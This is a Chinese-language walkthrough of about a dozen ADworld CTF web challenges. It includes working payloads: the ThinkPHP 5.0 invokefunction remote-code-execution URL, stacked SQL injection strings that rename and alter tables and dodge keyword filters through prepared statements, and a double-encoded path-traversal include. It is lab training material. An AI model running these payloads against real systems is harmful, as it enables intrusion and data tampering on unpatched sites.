1.baby_web
根据题目描述,我们转到初始页面index.php,发现302跳转,审查元素,发现flag。

2.Training-WWW-Robots
根据题目,我们猜测robots.txt里有提示,看到flag文件,打开即可。

3.Web_python_template_injection
根据提示,我们知道这是template注入,用{{}}进行测试,发现被执行了

构造payload,{{ config.items() }}可以查看服务器的配置信息,由于对模块注入不熟,后面单独总结写。
4.php_rce
根据题目名称和网页think PHPV5.0版本,可以得知应该是复现该框架漏洞,直接百度该版本的漏洞。参考大佬博客https://www.cnblogs.com/backlion/p/10106676.html,利用poc index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls / 直接找flag

然后就打开目录index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag

然后查看cat flag 即可 (后面有空写一篇漏洞分析)
5.web_php_include
文件包含想到伪协议读取,这里php://被过滤了,我们用data://找flag文件

然后打开文件即可

6.supersqli
联合注入常见sql语句show 什么的。。
show database; show tables
desc:` 表名 ` 查询表结构
例:强网杯-随便注(实际就是堆叠注入)
1‘ false 1“ true 说明单引号注入
发现有过滤
preg_match(“/select|update|delete|drop|insert|where|\./i”,$inject);
考虑堆叠注入
1′;show tables 查出表名
“1919810931114514”
“words”
1′;desc `words`# 查询表结构
array(6) {
[0]=>
string(2) “id”
[1]=>
string(7) “int(10)”
array(6) {
[0]=>
string(4) “data”
[1]=>
string(11) “varchar(20)”
1′;desc `1919810931114514`# 查询表结构
array(6) {
[0]=>
string(4) “flag”
[1]=>
string(12) “varchar(100)”
判断出有两个回显位置,把默认查询表改了
1′ or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);–+
然后用’ or 1=’1查询表里面所有内容,得到flag
知识点总结
堆叠注入
在正常的语句后面加分号(;),可顺序执行多条语句,从而造成注入漏洞。
Mysql语句
显示表的列的信息
show columns from table_name
desc table_name
select * from information_schema.columns where table_schema=”” and table_name=””
更改表的名字
RENAME TABLE tbl_name TO new_tbl_name[, tbl_name2 TO new_tbl_name2,…]
alter table table_name to new name
更改字段的名字
alter table t_app change name app_name varchar(20) not null;
预编译处理方法
查看值,需要绕过select的限制,我们可以使用预编译的方式
-1’;set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1’;set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);
prepare stmt from @sql;
EXECUTE stmt; #
这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。
-1’;sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prEpare stmt from @sql;EXECUTE stmt;#
7.ics-06
来到页面哪里点的动就点哪里。发现只有报表中心能点动。然后发现id=,是数值型,尝试爆破


成功,然后打开页面即可得到flag


8.warmup
打开题目查看网页源代码发现

打开source.php
<?php<br> highlight_file(__FILE__);<br> class emmm<br> {<br> public static function checkFile(&$page)<br> {<br> $whitelist = ["source"=>"source.php","hint"=>"hint.php"];<br> if (! isset($page) || !is_string($page)) {<br> echo "you can't see it";<br> return false;<br> }<br><br> if (in_array($page, $whitelist)) {<br> return true;<br> }<br><br> $_page = mb_substr(<br> $page,<br> 0,<br> mb_strpos($page . '?', '?')<br> );<br> if (in_array($_page, $whitelist)) {<br> return true;<br> }<br><br> $_page = urldecode($page);<br> $_page = mb_substr(<br> $_page,<br> 0,<br> mb_strpos($_page . '?', '?')<br> );<br> if (in_array($_page, $whitelist)) {<br> return true;<br> }<br> echo "you can't see it";<br> return false;<br> }<br> }<br><br> if (! empty($_REQUEST['file'])<br> && is_string($_REQUEST['file'])<br> && emmm::checkFile($_REQUEST['file'])<br> ) {<br> include $_REQUEST['file'];<br> exit;<br> } else {<br> echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";<br> } <br>?>
审计代码:有两个白名单,在hint里知道 flag not here, and flag in ffffllllaaaagggg ,有截取?前字符串的函数,还有匹配函数,然后解url编码,应该有url二次编码,构造payload:?file=source.php%253F../../../../../../ffffllllaaaagggg找到flag。
9. NewsCenter
进入题目环境,猜测是注入,用’ or 1=1 # 判断,是单引号注入,然后判断列数

发现有三列,然后判断回显位置

发现两个回显位置,然后找表名(按理说先找库名,不过一般在当前库里),

猜测在secret_table里,查字段

找到flag,查询内容

10. NaNNaNNaNNaN-Batman
下载题目文件,文本打开,发现是js乱码,审计发现eval函数执行了(字符串),导致乱码,然后我们用alert函数让正常源代码显示出来,打开浏览器

再审计代码,用控制台执行关键代码获取flag,(懒得去凑key)

11. web2
根据题目环境需要逆向加密。审计代码,就一个加密函数,只需要写一个解密函数即可。费了半天劲写出来了
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
$_o=(base64_decode(strrev(str_rot13($str))));
$_1="";
for($_0=0;$_0<strlen($_o);$_0++)
{
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_c;
$_1[$_0]=$_;
}
$_2=strrev($_1);
return ($_2);
}
echo(decode($miwen));
然后又得到flag,主要是对php不熟悉,以至于写了半天。然后我在网上找了篇不一样的解密脚本。https://blog.csdn.net/zsqad/article/details/103475027
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($miwen) {
$_ = base64_decode(strrev(str_rot13($miwen)));
$idx = strlen($_) - 1;
$_o = '';
while ($idx >= 0) {
$_c = $_[$idx];
$__ = ord($_c);
$_c = chr($__ - 1);
$_o = $_o . $_c;
$idx--;
}
return $_o;
}
echo decode($miwen);
12.
本文链接: ADworld web进阶区(一)